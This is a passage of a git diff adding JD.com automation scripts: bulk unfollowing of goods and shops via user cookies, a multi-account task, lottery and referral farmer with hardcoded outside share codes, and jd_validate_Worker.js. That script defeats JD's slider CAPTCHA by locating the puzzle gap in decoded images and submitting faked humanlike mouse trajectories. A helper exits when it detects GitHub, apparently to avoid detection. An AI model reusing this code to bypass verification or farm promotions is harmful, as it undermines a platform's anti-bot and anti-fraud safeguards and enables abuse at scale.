0; + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}/comm/FavCommQueryFilter?cp=1&pageSize=20&_=${Date.now()}&category=0&promote=0&cutPrice=0&coupon=0&stock=0&areaNo=1_72_4139_0&sceneval=2&g_login_type=1&callback=jsonpCBKB&g_ty=ls`, + headers: { + "Host": "wq.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://wqs.jd.com/my/fav/goods_fav.shtml?ptag=37146.4.1&sceneval=2&jxsid=15963530166144677970", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.get(option, async (err, resp, data) => { + try { + data = JSON.parse(data.slice(14, -13)); + if (data.iRet === '0') { + $.goodsTotalNum = data.totalNum; + console.log(`当前已关注【商品】:${$.goodsTotalNum}个\n`) + } else { + $.goodsTotalNum = 0; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function unsubscribeGoodsFun(commId) { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}/comm/FavCommDel?commId=${commId}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKP&g_ty=ls`, + headers: { + "Host": "wq.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://wqs.jd.com/my/fav/goods_fav.shtml?ptag=37146.4.1&sceneval=2&jxsid=15963530166144677970', + 'Cookie': cookie, + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.get(option, (err, resp, data) => { + try { + data = JSON.parse(data.slice(14, -13).replace(',}', '}')); + // console.log('data', data); + // console.log('data', data.errMsg); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +async function shopMain() { + $.unsubscribeShopsCount = 0; + if ((shopPageSize * 1) !== 0) { + await unsubscribeShops(); + const le = Math.ceil($.shopsTotalNum / 20) - 1 >= 0 ? Math.ceil($.shopsTotalNum / 20) - 1 : 0; + for (let i = 0; i < new Array(le).length; i++) { + await $.wait(100); + await unsubscribeShops(); + } + } else { + console.log(`\n您设置的是不取关店铺\n`); + } +} + +async function unsubscribeShops() { + let followShops = await getFollowShops(); + if (followShops.iRet === '0') { + if (followShops.totalNum > 0) { + for (let item of followShops.data) { + if (stopShop && (item.shopName && item.shopName.indexOf(stopShop.replace(/\s*/g, '')) > -1)) { + console.log(`匹配到了您设定的店铺--${item.shopName},不在进行取消关注店铺`) + break; + } + let res = await unsubscribeShopsFun(item.shopId); + if (res.iRet === '0') { + console.log(`取消已关注店铺---${item.shopName}----成功`) + $.unsubscribeShopsCount++; + console.log(`已成功取消关注【店铺】:${$.unsubscribeShopsCount}个\n`) + } else { + console.log(`取消已关注店铺---${item.shopName}----失败\n`) + } + await $.wait(1000); + } + } + } else { + console.log(`获取已关注店铺失败:${JSON.stringify(followShops)}`); + } +} + +function getFollowShops() { + $.shopsTotalNum = 0; + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}/shop/QueryShopFavList?cp=1&pageSize=20&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKA&g_ty=ls`, + headers: { + "Host": "wq.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://wqs.jd.com/my/fav/shop_fav.shtml?sceneval=2&jxsid=15963530166144677970&ptag=7155.1.9", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.get(option, (err, resp, data) => { + try { + data = JSON.parse(data.slice(14, -13)); + if (data.iRet === '0') { + $.shopsTotalNum = data.totalNum; + console.log(`当前已关注【店铺】:${$.shopsTotalNum}个\n`) + } else { + $.shopsTotalNum = 0; + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function unsubscribeShopsFun(shopId) { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}/shop/DelShopFav?shopId=${shopId}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBKG&g_ty=ls`, + headers: { + "Host": "wq.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://wqs.jd.com/my/fav/shop_fav.shtml?sceneval=2&jxsid=15960121319555534107&ptag=7155.1.9', + 'Cookie': cookie, + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.get(option, (err, resp, data) => { + try { + data = JSON.parse(data.slice(14, -13)); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} + +function requireConfig() { + return new Promise(resolve => { + if ($.isNode() && process.env.UN_SUBSCRIBES) { + if (process.env.UN_SUBSCRIBES.indexOf('&') > -1) { + $.UN_SUBSCRIBES = process.env.UN_SUBSCRIBES.split('&'); + } else if (process.env.UN_SUBSCRIBES.indexOf('\n') > -1) { + $.UN_SUBSCRIBES = process.env.UN_SUBSCRIBES.split('\n'); + } else if (process.env.UN_SUBSCRIBES.indexOf('\\n') > -1) { + $.UN_SUBSCRIBES = process.env.UN_SUBSCRIBES.split('\\n'); + } else { + $.UN_SUBSCRIBES = process.env.UN_SUBSCRIBES.split(); + } + console.log(`您环境变量 UN_SUBSCRIBES 设置的内容为:\n${JSON.stringify($.UN_SUBSCRIBES)}`) + goodPageSize = $.UN_SUBSCRIBES[0] || goodPageSize; + shopPageSize = $.UN_SUBSCRIBES[1] || shopPageSize; + stopGoods = $.UN_SUBSCRIBES[2] || stopGoods; + stopShop = $.UN_SUBSCRIBES[3] || stopShop; + } + resolve() + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_validate_Worker.js b/jd_validate_Worker.js new file mode 100644 index 0000000000..caf35c8c2c --- /dev/null +++ b/jd_validate_Worker.js @@ -0,0 +1,464 @@ +/** + * export validate_num = 5 + * 默认预存5个validate + * cron 58 7,15,23 * * * + */ + +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +const UA = require('./USER_AGENTS.js').USER_AGENT; +const fs = require('fs') + +const {Worker, isMainThread, workerData} = require('worker_threads') +let validate_num = process.env.validate_num ? process.env.validate_num : 5 // validate个数 + +Math.avg = function average() { + let sum = 0; + let len = this.length; + for (let i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + let sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + let idx = x * 4 + y * (width * 4); + let r = cData[idx]; + let g = cData[idx + 1]; + let b = cData[idx + 2]; + let luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "scene": "cww", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = '124.250.18.211'; + +// ping iv.jd.com + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + } + + async run(tag) { + const tryRecognize = async () => { + const x = await this.recognize(); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + await sleep(pos[pos.length - 1][2] - Date.now()); + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}); + + if (result.message === 'success') { + console.log(result); + console.log('JDJRValidator: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + process.stdout.write(`Thread-${tag}`) + console.count(JSON.stringify(result)); + await sleep(300); + return await this.run(tag); + } + } + + async recognize() { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: ''}); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: '', + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + } + } + + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA, ...extraData, ...data}).toString(); + const url = `http://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,en-US', + 'Connection': 'keep-alive', + 'Host': SERVER, + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2wuqXrZrhygTQzYA7VufBEpj4amH/index.html', + 'User-Agent': UA, + }; + const req = http.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + let c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + let e = string10to64(Math.abs(d)); + let a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + let b = new Array(); + for (let e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + let a = c[e][0] - c[e - 1][0]; + let f = c[e][1] - c[e - 1][1]; + let d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 20; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +Date.prototype.Format = function (fmt) { + let e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear() + '').substr(4 - RegExp.$1.length))); + for (let k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + let t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 === RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +if (isMainThread) { + console.log("🔔生成validate,开始!") + fs.writeFileSync('validate.txt', '', 'utf-8') + for (let i = 0; i < validate_num; i++) { + new Worker(__filename, { + workerData: { + tag: i, + start: new Date().Format("HH:mm:ss"), + } + }) + } +} else { + new JDJRValidator().run(workerData.tag).then(r => { + fs.appendFileSync('validate.txt', r.validate + '\n', 'utf-8') + console.log(`Thread-${workerData.tag} time: `, workerData.start, new Date().Format("HH:mm:ss")) + }) +} diff --git a/jd_xtg.ts b/jd_xtg.ts new file mode 100644 index 0000000000..87ec66073b --- /dev/null +++ b/jd_xtg.ts @@ -0,0 +1,116 @@ +import axios from 'axios'; +import USER_AGENT, {requireConfig, wait, requestAlgo} from './TS_USER_AGENTS'; + +let cookie: string = '', res: any = '', UserName: string, index: number; +let shareCodes: string[] = [], shareCodesSelf: string[] = []; +let shareCodesHW: string[] = [ + 'b674113e-7a08-4dff-bb30-0717ddfabce1', + '7b811634-e0cb-4022-8434-76f077845531', + '3d2da5d4-488d-46c9-ab37-8bc800bb226c', + '278670a6-89da-4a7c-8665-4ff412a47a22', + '23f31f87-5b7b-4341-842d-654f592846de' +] + +!(async () => { + await requestAlgo(); + let cookiesArr: any = await requireConfig(); + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1; + console.log(`\n开始【京东账号${index}】${UserName}\n`); + + res = await api(`{"apiMapping":"/api/task/doSign"}`) + + res = await api(`{"apiMapping":"/api/supportTask/getShareId"}`) + console.log('助力码', res.data) + shareCodesSelf.push(res.data) + + for (let j = 0; j < 9; j++) { + let ret: number = await doTask(); + if (!ret) + break + } + + res = await api(`{"apiMapping":"/api/index/indexInfo"}`) + let score: number = res.data.myScore + console.log('积分', score) + for (let j = 0; j < Math.floor(score / 100); j++) { + res = await api(`{"apiMapping":"/api/lottery/lottery"}`) + if (!res.data.prizeName) { + console.log('未中奖') + } else { + console.log('中奖', res.data.prizeName) + } + await wait(3000) + } + await wait(1000) + } + + console.log('内部助力', shareCodesSelf) + shareCodes = Array.from(new Set([...shareCodesSelf, ...shareCodesHW])) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + for (let code of shareCodes) { + console.log(`账号 ${UserName} 去助力 ${code}`) + res = await api(`{"shareId":"${code}","apiMapping":"/api/supportTask/doSupport"}`) + if (res.code === 200) { + console.log(res.msg) + } + await wait(1000) + } + } +})() + +async function api(body: string) { + let {data} = await axios.post("https://api.m.jd.com/api", + `appid=china-joy&functionId=star_push_jd_prod&body=${body}&t=${Date.now()}`, { + headers: { + 'Host': 'api.m.jd.com', + 'Origin': 'https://starintroducer.jd.com', + 'User-Agent': USER_AGENT, + 'Referer': 'https://starintroducer.jd.com/', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + }) + return data +} + +async function doTask() { + console.log('任务列表刷新') + let tasks: any = await api(`{"apiMapping":"/api/task/getTaskList"}`) + let finished: any = tasks.data.filter(t => { + if (t.totalNum === t.finishNum) + return t + }) + console.log(finished.length) + if (finished.length === 3) + return 0 + for (let t of tasks.data) { + 